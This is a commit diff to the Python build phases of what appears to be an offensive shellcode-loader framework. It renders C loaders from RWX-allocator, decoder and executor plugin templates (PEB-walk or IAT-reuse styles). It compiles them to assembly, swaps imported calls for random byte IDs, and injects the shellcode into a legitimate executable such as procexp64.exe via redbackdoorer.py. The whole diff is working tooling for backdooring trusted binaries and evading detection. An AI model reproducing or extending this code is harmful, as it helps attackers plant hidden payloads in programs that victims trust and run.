feature: templates, project

phases/ctoasm.py

@@ -2,21 +2,83 @@ from helper import *
 from config import config
 import os
 import pprint
+from observer import observer
+from jinja2 import Template
+from project import project
 
 from model import *
 
+use_templates = True
+
+def create_c_from_template():
+    plugin_allocator = ""
+    plugin_decoder = ""
+    plugin_executor = ""
+
+    with open("plugins/allocator/rwx_1.c", "r", encoding='utf-8') as file:
+        plugin_allocator = file.read()
+
+    with open("plugins/decoder/plain_1.c", "r", encoding='utf-8') as file:
+        plugin_decoder = file.read()
+
+    with open("plugins/executor/direct_1.c", "r", encoding='utf-8') as file:
+        plugin_executor = file.read()
+
+    
+    if project.source_style == SourceStyle.peb_walk:
+        if use_templates:
+            with open("source/peb_walk/template.c", 'r', encoding='utf-8') as file:
+                template_content = file.read()
+                observer.add_text("main_c_template", template_content)
+
+            template = Template(template_content)
+            rendered_template = template.render({
+                'plugin_allocator': plugin_allocator,
+                'plugin_decoder': plugin_decoder,
+                'plugin_executor': plugin_executor,
+            })
+            with open("build/main.c", "w", encoding='utf-8') as file:
+                file.write(rendered_template)
+                observer.add_text("main_c_rendered", rendered_template)
+
+        else:
+            observer.add_text("main_c", file_readall_text("source/peb_walk/main.c"))
+            shutil.copy("source/peb_walk/main.c", "build/main.c")
+            shutil.copy("source/peb_walk/peb_lookup.h", "build/peb_lookup.h")
+
+    elif project.source_style == SourceStyle.iat_reuse:
+        if use_templates:
+            with open("source/iat_reuse/template.c", 'r', encoding='utf-8') as file:
+                template_content = file.read()
+                observer.add_text("main_c_template", template_content)
+            template = Template(template_content)
+            rendered_template = template.render({
+                'plugin_allocator': plugin_allocator,
+                'plugin_decoder': plugin_decoder,
+                'plugin_executor': plugin_executor,
+            })
+            with open("build/main.c", "w", encoding='utf-8') as file:
+                file.write(rendered_template)
+                observer.add_text("main_c_rendered", rendered_template)
+        else:
+            observer.add_text("main_c", file_readall_text("source/iat_reuse/main.c"))
+            shutil.copy("source/iat_reuse/main.c", "build/main.c")
+
 
 def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
     print("--[ C to ASM: {} -> {} ]".format(c_file, asm_file))
 
     asm = {
         "initial": "",
+        "templated": "",
         "cleanup": "",
         "fixup": "",
     }
 
+    # 
+
     # Phase 1: C To Assembly
-    print("---[ Compile: {} ]".format(c_file))
+    print("---[ Make ASM from C: {} ]".format(c_file))
     run_process_checkret([
             config.get("path_cl"),
             "/c",
@@ -30,6 +92,14 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
         return
     asm["initial"] = file_readall_text(asm_file)
 
+    # Phase 1.2: Assembly fixup
+    print("---[ Fixup  : {} ]".format(asm_file))
+    if not fixup_asm_file(asm_file, payload_len, capabilities):
+        print("Error: Fixup failed")
+        return
+    else:
+        asm["fixup"] = file_readall_text(asm_file)
+
     # Phase 1.1: Assembly cleanup
     asm_clean_file = asm_file + ".clean"
     print("---[ Cleanup: {} ]".format(asm_file))
@@ -45,13 +115,7 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
         shutil.move(asm_clean_file, asm_file)
         asm["cleanup"] = file_readall_text(asm_file)
 
-    # Phase 1.2: Assembly fixup
-    print("---[ Fixup  : {} ]".format(asm_file))
-    if not fixup_asm_file(asm_file, payload_len, capabilities):
-        print("Error: Fixup failed")
-        return
-    else:
-        asm["fixup"] = file_readall_text(asm_file)
+
 
     return asm
 
@@ -83,8 +147,6 @@ def fixup_asm_file(filename, payload_len, capabilities: ExeCapabilities):
         # Fix call
         if "call" in lines[idx] and "__imp_" in lines[idx]:
             func_name = lines[idx][lines[idx].find("__imp_")+6:].rstrip()
-            print("    > Replace func name: {}".format(func_name))
-
             exeCapability = capabilities.get(func_name)
             if exeCapability == None:
                 print("Error Capabilities not: {}".format(func_name))
@@ -92,6 +154,9 @@ def fixup_asm_file(filename, payload_len, capabilities: ExeCapabilities):
                 randbytes: bytes = os.urandom(6)
                 lines[idx] = bytes_to_asm_db(randbytes) + "\r\n"
                 exeCapability.id = randbytes
+
+                print("    > Replace func name: {} with {}".format(
+                    func_name, randbytes))
         
     # replace external reference with shellcode reference
     for idx, line in enumerate(lines): 

phases/shctoexe.py

@@ -1,11 +1,17 @@
 from helper import *
 import shutil
 import pprint
+
 from pehelper import *
 from model import *
+from project import project
 
 
-def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities: ExeCapabilities):
+def inject_exe(shc_file: FilePath):
+    exe_in: FilePath = project.inject_exe_in
+    exe_out: FilePath = project.inject_exe_out
+    exe_capabilities: ExeCapabilities = project.exe_capabilities
+
     print("--[ Injecting: {} into: {} -> {} ]".format(
         shc_file, exe_in, exe_out
     ))
@@ -15,13 +21,13 @@ def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities: ExeCapabilitie
 
     # inject shellcode into exe_out with redbackdoorer
     # python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
-    subprocess.run([
+    run_process_checkret([
         "python3.exe",
         "redbackdoorer.py",
-        mode,
+        project.inject_mode,
         shc_file,
         exe_out
-    ], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    ])
 
     # get code section of exe_out
     code = get_code_section(exe_out)
@@ -30,7 +36,7 @@ def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities: ExeCapabilitie
     # and re-implant it
     for cap in exe_capabilities.get_all().values():
         if not cap.id in code:
-            print("Not found, abort")
+            print("Capability ID {} not found, abort".format(cap.id))
             raise Exception()
         
         off = code.index(cap.id)